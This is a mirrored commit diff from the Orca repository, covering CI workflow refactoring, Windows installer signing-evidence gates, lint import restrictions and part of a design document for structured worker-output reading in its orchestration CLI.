mirror of
https://github.com/stablyai/orca.git
synced 2026-10-19 16:03:26 +00:00
Merge remote-tracking branch 'origin/main' into nwparker/fix-2989-blank-agent-terminal
This commit is contained in:
@@ -10,3 +10,5 @@
|
||||
/skill-stubs/*.md text eol=lf
|
||||
/skills/*/SKILL.md text eol=lf
|
||||
/src/cli/bundled-skill-guides.ts text eol=lf
|
||||
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
|
||||
/resources/plugins/** text eol=lf
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
name: Install Node dependencies
|
||||
description: Installs the Node toolchain and repository dependencies for Linux CI jobs.
|
||||
|
||||
inputs:
|
||||
native-runtime:
|
||||
description: Native runtime to prepare after the script-free install (none, node, or electron).
|
||||
required: false
|
||||
default: none
|
||||
|
||||
runs:
|
||||
using: composite
|
||||
steps:
|
||||
# setup-node needs pnpm on PATH to locate and restore its store.
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
run_install: false
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version-file: package.json
|
||||
cache: pnpm
|
||||
|
||||
- name: Validate native runtime
|
||||
shell: bash
|
||||
env:
|
||||
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
|
||||
run: |
|
||||
case "$NATIVE_RUNTIME" in
|
||||
none|node|electron) ;;
|
||||
*)
|
||||
echo "::error::native-runtime must be none, node, or electron"
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
|
||||
# pnpm's bundled gyp_main.py is not executable on fresh Linux runners.
|
||||
- name: Use external node-gyp
|
||||
if: inputs.native-runtime != 'none'
|
||||
shell: bash
|
||||
run: |
|
||||
npm install -g node-gyp@11.5.0
|
||||
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Prepare dependency install
|
||||
shell: bash
|
||||
run: |
|
||||
if [ -e node_modules ]; then
|
||||
ls -ld node_modules
|
||||
rm -rf node_modules
|
||||
fi
|
||||
|
||||
- name: Install dependencies
|
||||
shell: bash
|
||||
run: |
|
||||
pnpm install \
|
||||
--no-frozen-lockfile \
|
||||
--prefer-frozen-lockfile=false \
|
||||
--ignore-scripts
|
||||
git diff --exit-code package.json pnpm-lock.yaml
|
||||
|
||||
- name: Prepare native runtime
|
||||
if: inputs.native-runtime != 'none'
|
||||
shell: bash
|
||||
env:
|
||||
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
|
||||
run: node config/scripts/ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"
|
||||
+215
-90
@@ -8,88 +8,56 @@ on:
|
||||
- reopened
|
||||
- ready_for_review
|
||||
|
||||
concurrency:
|
||||
group: pr-checks-${{ github.event.pull_request.number }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
verify:
|
||||
static_analysis:
|
||||
name: static analysis
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
# Why: verify:skill-bundle-manifest now checks working-tree bytes
|
||||
# against the committed skill ledger (advanced only at release cut) and
|
||||
# no longer walks release tags, so a shallow checkout is sufficient.
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install native build tools
|
||||
run: sudo apt-get update && sudo apt-get install -y build-essential python3 zlib1g-dev zsh
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version-file: package.json
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
run_install: false
|
||||
|
||||
# Why: pnpm's bundled node-gyp ships gyp_main.py without execute
|
||||
# permission, which breaks native module builds (e.g. node-pty's
|
||||
# postinstall) with "/bin/sh: gyp_main.py: Permission denied".
|
||||
# Pin the fallback to the lockfile's node-gyp version so CI stays
|
||||
# reproducible while forcing pnpm to bypass its broken bundled copy.
|
||||
# Gate on runner.os == 'Linux' to match release.yml — the
|
||||
# npm-global path layout this step assumes is POSIX-shaped, and the
|
||||
# failure has only been observed on Linux runners. Today this job
|
||||
# pins runs-on: ubuntu-latest so the guard is a no-op, but it
|
||||
# prevents a silent break if a Windows/macOS matrix is added later.
|
||||
- name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
|
||||
if: runner.os == 'Linux'
|
||||
run: |
|
||||
npm install -g node-gyp@11.5.0
|
||||
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Prepare dependency install
|
||||
run: |
|
||||
if [ -e node_modules ]; then
|
||||
ls -ld node_modules
|
||||
rm -rf node_modules
|
||||
fi
|
||||
|
||||
- name: Install dependencies
|
||||
# Why: pnpm 10.24's frozen headless fast path can fail on fresh Ubuntu
|
||||
# runners while creating the root node_modules. Use the normal resolver
|
||||
# path, then verify package metadata stayed unchanged.
|
||||
run: |
|
||||
pnpm install --no-frozen-lockfile --prefer-frozen-lockfile=false
|
||||
git diff --exit-code package.json pnpm-lock.yaml
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
- name: Lint
|
||||
run: pnpm exec oxlint --format github
|
||||
|
||||
- name: Check switch exhaustiveness
|
||||
run: pnpm run lint:switch-exhaustiveness
|
||||
|
||||
- name: Check styled scrollbars
|
||||
run: pnpm check:styled-scrollbars
|
||||
|
||||
- name: Check quadratic buffer concatenation
|
||||
run: pnpm run check:quadratic-buffer-concat
|
||||
|
||||
- name: Check reliability gate manifest
|
||||
run: pnpm run check:reliability-gates
|
||||
|
||||
# Why: oxlint fails any file over max-lines that is NOT suppressed, so this
|
||||
# ratchet forbids ADDING a new suppression (inline disable or mobile max
|
||||
# bump). Existing oversized files are grandfathered in
|
||||
# config/max-lines-baseline.txt, which may only shrink — new bypasses fail
|
||||
# here with a clear message instead of silently growing the debt.
|
||||
- name: Enforce max-lines ratchet (no new bypasses)
|
||||
- name: Enforce max-lines ratchet
|
||||
run: pnpm run check:max-lines-ratchet
|
||||
|
||||
# Why: the CLI embeds guide content while the skills CLI installs generated
|
||||
# projections from the repository, so stale output would split those two truths.
|
||||
- name: Verify bundled skill guides
|
||||
run: pnpm run verify:bundled-skill-guides
|
||||
|
||||
- name: Verify skill freshness manifest
|
||||
run: pnpm run verify:skill-bundle-manifest
|
||||
|
||||
- name: Verify localization catalog
|
||||
run: pnpm run verify:localization-catalog
|
||||
|
||||
- name: Verify localization coverage
|
||||
run: pnpm run verify:localization-coverage
|
||||
|
||||
# Why: project-owned type declarations must live in .ts so tsc
|
||||
# actually checks them. TypeScript's skipLibCheck: true (inherited
|
||||
# from @electron-toolkit/tsconfig) silently widens unresolved names
|
||||
@@ -113,55 +81,212 @@ jobs:
|
||||
- name: Verify macOS entitlements
|
||||
run: pnpm verify:macos-entitlements
|
||||
|
||||
- name: Typecheck
|
||||
run: pnpm typecheck
|
||||
typecheck:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
- run: pnpm typecheck
|
||||
|
||||
git_compatibility:
|
||||
name: Git compatibility
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
# Why: real old Git diagnostics differ from mocked errors. Keep the
|
||||
# fallback predicates executable across the baseline, transition, and
|
||||
# current command shapes so a newly added flag cannot silently regress.
|
||||
- name: Verify Git binary compatibility matrix
|
||||
run: |
|
||||
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
|
||||
source="$RUNNER_TEMP/git-2.25.5"
|
||||
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
|
||||
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
|
||||
| sha256sum --check
|
||||
mkdir -p "$source"
|
||||
tar -xzf "$archive" -C "$source" --strip-components=1
|
||||
make -C "$source" -j2 NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
|
||||
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
pids=()
|
||||
(
|
||||
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
|
||||
source="$RUNNER_TEMP/git-2.25.5"
|
||||
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
|
||||
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
|
||||
| sha256sum --check
|
||||
mkdir -p "$source"
|
||||
tar -xzf "$archive" -C "$source" --strip-components=1
|
||||
make -C "$source" -j"$(nproc)" \
|
||||
NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
|
||||
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
) &
|
||||
pids+=("$!")
|
||||
|
||||
for spec in \
|
||||
"alpine/git:edge-2.38.1|2.38.1" \
|
||||
"alpine/git:v2.49.1|2.49.1"; do
|
||||
image="${spec%%|*}"
|
||||
version="${spec#*|}"
|
||||
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
(
|
||||
image="${spec%%|*}"
|
||||
version="${spec#*|}"
|
||||
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
) &
|
||||
pids+=("$!")
|
||||
done
|
||||
|
||||
# Why: postinstall rebuilds better-sqlite3 for Electron's ABI via
|
||||
# @electron/rebuild, but vitest runs under system Node.js. Rebuild
|
||||
# it for Node so orchestration tests can load the native module.
|
||||
- name: Rebuild better-sqlite3 for Node
|
||||
run: pnpm rebuild better-sqlite3
|
||||
status=0
|
||||
for pid in "${pids[@]}"; do
|
||||
wait "$pid" || status=1
|
||||
done
|
||||
exit "$status"
|
||||
|
||||
shell_contracts:
|
||||
name: shell contracts
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install zsh
|
||||
run: sudo apt-get update && sudo apt-get install -y zsh
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: node
|
||||
|
||||
- name: Test real shell contracts
|
||||
run: |
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/main/daemon/shell-ready.test.ts \
|
||||
src/main/daemon/node-pty-fd-leak.test.ts \
|
||||
src/main/providers/local-pty-shell-ready.test.ts \
|
||||
src/main/providers/__tests__/shell-ready-framework-example.test.ts \
|
||||
src/main/pty/omp-shell-wrapper.node-pty.test.ts \
|
||||
src/shared/posix-command-path-lookup.test.ts
|
||||
|
||||
test:
|
||||
name: tests ${{ matrix.shard }}/${{ strategy.job-total }}
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: node
|
||||
|
||||
# Why: install intentionally blocks Electron's package postinstall, but
|
||||
# some unit tests import `electron` under Node and require path.txt.
|
||||
- name: Install Electron package binary for tests
|
||||
run: node config/scripts/install-electron-package-binary.mjs
|
||||
|
||||
- name: Test
|
||||
run: pnpm test
|
||||
- name: Test shard
|
||||
run: |
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
--exclude=src/main/daemon/shell-ready.test.ts \
|
||||
--exclude=src/main/daemon/node-pty-fd-leak.test.ts \
|
||||
--exclude=src/main/providers/local-pty-shell-ready.test.ts \
|
||||
--exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
|
||||
--exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
|
||||
--exclude=src/shared/posix-command-path-lookup.test.ts \
|
||||
--shard=${{ matrix.shard }}/${{ strategy.job-total }}
|
||||
|
||||
- name: Build unpacked app
|
||||
run: pnpm build:unpack
|
||||
package:
|
||||
name: package
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Cache electron-builder downloads
|
||||
uses: actions/cache@v5
|
||||
with:
|
||||
path: |
|
||||
~/.cache/electron
|
||||
~/.cache/electron-builder
|
||||
key: electron-builder-linux-${{ hashFiles('pnpm-lock.yaml') }}
|
||||
restore-keys: |
|
||||
electron-builder-linux-
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: electron
|
||||
|
||||
- name: Build package inputs
|
||||
run: |
|
||||
status=0
|
||||
pnpm run build:cli || status=1
|
||||
|
||||
scripts=(build:relay build:electron-vite:parallel)
|
||||
pids=()
|
||||
for script in "${scripts[@]}"; do
|
||||
pnpm run "$script" &
|
||||
pids+=("$!")
|
||||
done
|
||||
|
||||
for pid in "${pids[@]}"; do
|
||||
wait "$pid" || status=1
|
||||
done
|
||||
exit "$status"
|
||||
|
||||
- name: Project web client from renderer build
|
||||
run: pnpm run build:web-from-renderer
|
||||
|
||||
- name: Build native components
|
||||
run: pnpm run build:native
|
||||
|
||||
- name: Package unpacked app
|
||||
env:
|
||||
ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1'
|
||||
run: pnpm exec electron-builder --config config/electron-builder.config.cjs --dir
|
||||
|
||||
# Why: the packaged CLI runs outside Electron's asar integration, so
|
||||
# bare runtime imports must be present in the package itself. Run from a
|
||||
# temp copy so Node cannot mask missing package deps with repo node_modules.
|
||||
- name: Smoke packaged CLI
|
||||
run: node config/scripts/smoke-packaged-cli.mjs --app-dir=dist/linux-unpacked
|
||||
|
||||
verify:
|
||||
if: always()
|
||||
needs:
|
||||
- static_analysis
|
||||
- typecheck
|
||||
- git_compatibility
|
||||
- shell_contracts
|
||||
- test
|
||||
- package
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Require successful checks
|
||||
env:
|
||||
STATIC_ANALYSIS: ${{ needs.static_analysis.result }}
|
||||
TYPECHECK: ${{ needs.typecheck.result }}
|
||||
GIT_COMPATIBILITY: ${{ needs.git_compatibility.result }}
|
||||
SHELL_CONTRACTS: ${{ needs.shell_contracts.result }}
|
||||
TEST: ${{ needs.test.result }}
|
||||
PACKAGE: ${{ needs.package.result }}
|
||||
run: |
|
||||
for result in \
|
||||
"$STATIC_ANALYSIS" \
|
||||
"$TYPECHECK" \
|
||||
"$GIT_COMPATIBILITY" \
|
||||
"$SHELL_CONTRACTS" \
|
||||
"$TEST" \
|
||||
"$PACKAGE"; do
|
||||
if [ "$result" != "success" ]; then
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
@@ -1499,7 +1499,6 @@ jobs:
|
||||
Write-Warning 'Restored pre-rebuild installer; this release ships with unsigned inner binaries.'
|
||||
}
|
||||
# ── End Windows inner-binary signing ───────────────────────────────
|
||||
|
||||
- name: Upload unsigned Windows installer for SignPath
|
||||
if: matrix.platform == 'win'
|
||||
id: upload-unsigned-windows-installer
|
||||
@@ -1644,8 +1643,41 @@ jobs:
|
||||
INNER_SIGNING_COMPLETED: ${{ steps.rebuild-nsis-signed.outcome == 'success' }}
|
||||
run: |
|
||||
$required = $env:ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED -eq 'true'
|
||||
|
||||
# Why: a fail-open gate that writes nothing is indistinguishable from a
|
||||
# gate that passed. Always leave a verdict in the evidence artifact and
|
||||
# the job summary so a silent degradation is visible (#6487).
|
||||
# Why best-effort: while warn-only, a disk-full or permission error
|
||||
# writing the verdict must not become the thing that fails the release.
|
||||
function Add-GateEvidence([string]$line) {
|
||||
try {
|
||||
Add-Content -Path 'inner-signing-evidence.txt' -Value "`n$line" -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not append to the inner-signing evidence file: $_"
|
||||
}
|
||||
}
|
||||
|
||||
function Add-GateSummary([string]$verdict) {
|
||||
if (-not $env:GITHUB_STEP_SUMMARY) { return }
|
||||
try {
|
||||
Add-Content -Path $env:GITHUB_STEP_SUMMARY -Value "**Windows inner-binary signing:** $verdict" -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not write inner-signing verdict to the job summary: $_"
|
||||
}
|
||||
}
|
||||
|
||||
function Write-GateVerdict([string]$verdict) {
|
||||
try {
|
||||
Set-Content -Path 'inner-signing-evidence.txt' -Value $verdict -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not persist inner-signing verdict: $_"
|
||||
}
|
||||
Add-GateSummary $verdict
|
||||
}
|
||||
|
||||
if ($env:INNER_SIGNING_COMPLETED -ne 'true') {
|
||||
$message = 'Windows inner-binary signing did not complete; this release ships unsigned inner binaries (fail-open, issue #7785).'
|
||||
Write-GateVerdict "NOT VERIFIED — $message"
|
||||
if ($required) { throw $message }
|
||||
Write-Host "::warning::$message"
|
||||
exit 0
|
||||
@@ -1654,13 +1686,28 @@ jobs:
|
||||
# Why try/catch: while the gate is warn-only, even an unexpected
|
||||
# script error (extraction hiccup, missing file) must not block
|
||||
# the release — only the flip to required makes failures fatal.
|
||||
# Why tracked separately: a required-mode signature failure must not be
|
||||
# rewritten as ERRORED by the catch below, which would replace the
|
||||
# per-file report with an exception string and lose the diagnostics.
|
||||
$policyFailure = $null
|
||||
|
||||
try {
|
||||
$report = New-Object System.Collections.Generic.List[string]
|
||||
$failures = New-Object System.Collections.Generic.List[string]
|
||||
|
||||
# Why: verify the files a user actually gets on disk, not the build
|
||||
# tree — 7z parses the NSIS exe directly as its embedded payload.
|
||||
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
|
||||
# Resolve 7za via app-builder-lib; electron-builder 26.9+ dropped the
|
||||
# bundled 7zip-bin package the old hardcoded path relied on (#6487).
|
||||
$7zaOutput = node config/scripts/resolve-7za-path.mjs
|
||||
$7zaExitCode = $LASTEXITCODE
|
||||
if ($7zaExitCode -ne 0) {
|
||||
throw "The 7za resolver exited with code $7zaExitCode for the inner-binary evidence gate."
|
||||
}
|
||||
$7za = ($7zaOutput | Out-String).Trim()
|
||||
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
|
||||
throw "The 7za resolver returned an invalid path for the inner-binary evidence gate: $7za"
|
||||
}
|
||||
New-Item -ItemType Directory -Path inner-evidence-extract -Force | Out-Null
|
||||
& $7za x 'dist/orca-windows-setup.exe' '-oinner-evidence-extract' -y | Out-Null
|
||||
|
||||
@@ -1694,16 +1741,32 @@ jobs:
|
||||
if ($failures.Count -gt 0) {
|
||||
$failures | ForEach-Object { Write-Host "::warning::$_" }
|
||||
$message = "Windows inner-binary evidence gate found $($failures.Count) problems."
|
||||
if ($required) { throw $message }
|
||||
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
|
||||
# Why assigned before any I/O: a write that throws here would reach
|
||||
# the catch with $policyFailure still null, so a required-mode
|
||||
# signature failure would be re-reported as ERRORED and the per-file
|
||||
# report overwritten — the exact masking the hoist exists to prevent.
|
||||
if ($required) {
|
||||
$policyFailure = $message
|
||||
} else {
|
||||
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
|
||||
}
|
||||
Add-GateEvidence "VERDICT: FAILED — $message"
|
||||
Add-GateSummary "FAILED — $message"
|
||||
} else {
|
||||
Write-Host "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
|
||||
$ok = "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
|
||||
Add-GateEvidence "VERDICT: PASSED — $ok"
|
||||
Add-GateSummary "PASSED — $ok"
|
||||
Write-Host $ok
|
||||
}
|
||||
} catch {
|
||||
Write-GateVerdict "ERRORED — $_"
|
||||
if ($required) { throw }
|
||||
Write-Host "::warning::Windows inner-binary evidence gate errored: $_ (fail-open, issue #7785)."
|
||||
}
|
||||
|
||||
# Outside the catch so the FAILED evidence report survives intact.
|
||||
if ($policyFailure) { throw $policyFailure }
|
||||
|
||||
- name: Upload Windows inner signing evidence
|
||||
if: always() && matrix.platform == 'win'
|
||||
uses: actions/upload-artifact@v7
|
||||
|
||||
@@ -27,7 +27,11 @@ on:
|
||||
- 'config/patches/**'
|
||||
- 'config/scripts/ensure-native-runtime.mjs'
|
||||
- 'config/scripts/rebuild-native-deps.mjs'
|
||||
- 'config/scripts/verify-packaged-plugin-resources.cjs'
|
||||
- 'native/**'
|
||||
# Byte-hashed at package time, and CRLF-sensitive on Windows.
|
||||
- '.gitattributes'
|
||||
- 'resources/plugins/**'
|
||||
- 'resources/win32/**'
|
||||
- 'src/main/daemon/**'
|
||||
- 'src/main/index.ts'
|
||||
|
||||
@@ -325,7 +325,16 @@ jobs:
|
||||
|
||||
# Extract the signed installer and verify the files a user actually
|
||||
# gets on disk — including the exact file from issue #7785.
|
||||
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
|
||||
# electron-builder 26.9+ removed the bundled 7zip-bin package (#6487).
|
||||
$7zaOutput = node config/scripts/resolve-7za-path.mjs
|
||||
$7zaExitCode = $LASTEXITCODE
|
||||
if ($7zaExitCode -ne 0) {
|
||||
throw "The 7za resolver exited with code $7zaExitCode for the signing rehearsal."
|
||||
}
|
||||
$7za = ($7zaOutput | Out-String).Trim()
|
||||
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
|
||||
throw "The 7za resolver returned an invalid path for the signing rehearsal: $7za"
|
||||
}
|
||||
New-Item -ItemType Directory -Path extracted-app -Force | Out-Null
|
||||
& $7za x 'dist/orca-windows-setup.exe' '-oextracted-app' -y | Out-Null
|
||||
|
||||
|
||||
@@ -49,6 +49,23 @@
|
||||
],
|
||||
"curly": "error",
|
||||
"no-unneeded-ternary": "error",
|
||||
"no-restricted-imports": [
|
||||
"error",
|
||||
{
|
||||
"paths": [
|
||||
{
|
||||
"name": "@linear/sdk",
|
||||
"allowTypeImports": true,
|
||||
"message": "Value-importing @linear/sdk hoists its ~2.6MB CJS bundle into the eager top-level require block and defeats the lazy loader. Use `import type` plus loadLinearSdk() from src/main/linear/linear-sdk.ts."
|
||||
},
|
||||
{
|
||||
"name": "qrcode",
|
||||
"allowTypeImports": true,
|
||||
"message": "qrcode is only reachable from mobile pairing; a static import parses it at launch for everyone. Use `import type` plus `await import('qrcode')` at the call site."
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"no-useless-return": "error",
|
||||
"prefer-template": "error",
|
||||
"unicorn/consistent-empty-array-spread": "error",
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,604 @@
|
||||
# Orchestration Structured Worker Output
|
||||
|
||||
Status: implemented; physical local, mixed-version, and Windows-home to Mac-worker validation complete
|
||||
Scope: orchestration `worker-read` only
|
||||
Last updated: 2026-07-24
|
||||
|
||||
## Summary
|
||||
|
||||
`orca orchestration worker-read` currently reads bounded terminal output. That is always available,
|
||||
but full-screen agent TUIs can make it noisy or incomplete.
|
||||
|
||||
Orca already knows more than the terminal logo suggests. Agent hooks associate an exact pane with:
|
||||
|
||||
- the agent type, such as Codex or Claude;
|
||||
- the provider session or conversation ID; and
|
||||
- when available, the provider-reported transcript path.
|
||||
|
||||
The sidebar, session resume, sleeping-agent recovery, and native chat already use this information.
|
||||
The missing piece is a narrow orchestration path from an exact Dispatch to that exact session on the
|
||||
server where the worker runs.
|
||||
|
||||
The proposed behavior is:
|
||||
|
||||
```text
|
||||
worker-read
|
||||
exact supported transcript is available -> structured transcript page
|
||||
otherwise -> bounded terminal page
|
||||
```
|
||||
|
||||
This does not add orchestration strategy, a dashboard, a scheduler, or a universal provider layer.
|
||||
It makes one existing observation command return the best source Orca can prove.
|
||||
|
||||
## User-facing goal
|
||||
|
||||
A coordinator should be able to inspect a worker with one predictable command:
|
||||
|
||||
```bash
|
||||
orca orchestration worker-read --dispatch <dispatch-id> --json
|
||||
```
|
||||
|
||||
The coordinator should not need to know:
|
||||
|
||||
- which Orca server owns the worker;
|
||||
- the worker's terminal or pane handle;
|
||||
- the provider session ID;
|
||||
- where a transcript lives on disk; or
|
||||
- whether structured reading is supported by that provider/server version.
|
||||
|
||||
The response must always say which source was used. It must never silently read a different agent
|
||||
session.
|
||||
|
||||
## Why the existing sidebar is relevant
|
||||
|
||||
The agent logo identifies the detected agent type. By itself, that is not enough to choose a
|
||||
transcript.
|
||||
|
||||
The richer sidebar status also carries pane-scoped provider-session metadata reported by hooks.
|
||||
That is the useful foundation:
|
||||
|
||||
```text
|
||||
Dispatch
|
||||
-> exact worker process and terminal
|
||||
-> exact tab/leaf pane
|
||||
-> hook-reported provider session
|
||||
-> provider transcript locator
|
||||
```
|
||||
|
||||
Some live status ownership is currently renderer-centric, while headless and mobile graph paths
|
||||
also retain compatible status snapshots. Implementation therefore needs one runtime-owned lookup
|
||||
that exposes the current exact pane association to `worker-read`. This is a small bridge over
|
||||
existing status data, not a second agent-status system.
|
||||
|
||||
## Design principles
|
||||
|
||||
### Exactness over convenience
|
||||
|
||||
- Never select the "latest session in this directory."
|
||||
- Never select a transcript from a terminal title or logo alone.
|
||||
- Never switch sources or sessions in the middle of a cursor chain.
|
||||
- If Orca cannot prove the association, return a labeled terminal fallback.
|
||||
|
||||
### Resource-local reads
|
||||
|
||||
The server running the worker resolves and reads its transcript. A Run home on macOS must not try
|
||||
to interpret a Windows path, and a Windows Run home must not try to interpret a macOS path.
|
||||
|
||||
Only bounded output data crosses the federation connection. Transcript paths do not.
|
||||
|
||||
### One simple agent command
|
||||
|
||||
Agents should not choose provider adapters or supply session metadata. `worker-read` defaults to
|
||||
automatic source selection. Source selection flags exist for debugging and explicit policy, not
|
||||
because they are required in the normal loop.
|
||||
|
||||
### Narrow provider support
|
||||
|
||||
Initial support should cover only providers for which Orca already has:
|
||||
|
||||
1. an exact pane-scoped session association; and
|
||||
2. an existing bounded transcript reader with test coverage.
|
||||
|
||||
Codex is the required first provider. Claude may ship in the same change only if it uses the same
|
||||
proven reader path without adding a second architecture. Other agents receive terminal fallback.
|
||||
|
||||
### Honest compatibility
|
||||
|
||||
Connected servers can run different Orca versions. A server without structured-read support must
|
||||
continue to return bounded terminal output rather than failing the whole Run.
|
||||
|
||||
## Public command contract
|
||||
|
||||
### Request
|
||||
|
||||
```bash
|
||||
orca orchestration worker-read \
|
||||
--dispatch <dispatch-id> \
|
||||
[--source auto|transcript|terminal] \
|
||||
[--cursor <opaque-cursor>] \
|
||||
[--limit <count>] \
|
||||
[--json]
|
||||
```
|
||||
|
||||
`--source` behavior:
|
||||
|
||||
| Value | Behavior |
|
||||
| ------------ | -------------------------------------------------------------------------------------- |
|
||||
| `auto` | Use an exact supported transcript; otherwise use terminal output. This is the default. |
|
||||
| `transcript` | Require an exact supported transcript. Return a typed error instead of falling back. |
|
||||
| `terminal` | Use the current bounded terminal reader. |
|
||||
|
||||
Existing numeric terminal cursors remain accepted. New responses return an opaque cursor that can
|
||||
pin either source without exposing provider paths.
|
||||
|
||||
### Response
|
||||
|
||||
The implemented structured response has this shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"dispatchId": "dispatch_123",
|
||||
"source": "transcript",
|
||||
"sourceIdentity": "opaque-source-fingerprint",
|
||||
"provider": "codex",
|
||||
"transcript": {
|
||||
"messages": [],
|
||||
"nextCursor": "opaque-next-cursor",
|
||||
"limited": false,
|
||||
"returnedMessageCount": 0
|
||||
},
|
||||
"cursor": "opaque-next-cursor",
|
||||
"status": {
|
||||
"worker": "running",
|
||||
"terminal": "running"
|
||||
},
|
||||
"fallbackReason": null,
|
||||
"warnings": []
|
||||
}
|
||||
```
|
||||
|
||||
Terminal fallback uses the same envelope and keeps the existing terminal data:
|
||||
|
||||
```json
|
||||
{
|
||||
"dispatchId": "dispatch_123",
|
||||
"source": "terminal",
|
||||
"sourceIdentity": "opaque-terminal-incarnation",
|
||||
"terminal": {
|
||||
"tail": ["..."],
|
||||
"status": "running",
|
||||
"nextCursor": "..."
|
||||
},
|
||||
"cursor": "opaque-next-cursor",
|
||||
"fallbackReason": "session_not_reported",
|
||||
"warnings": []
|
||||
}
|
||||
```
|
||||
|
||||
For backward compatibility:
|
||||
|
||||
- the terminal branch retains the existing `terminal.tail`, `terminal.status`, and
|
||||
`terminal.nextCursor` fields;
|
||||
- non-JSON output prints readable transcript entries or terminal lines without requiring an agent
|
||||
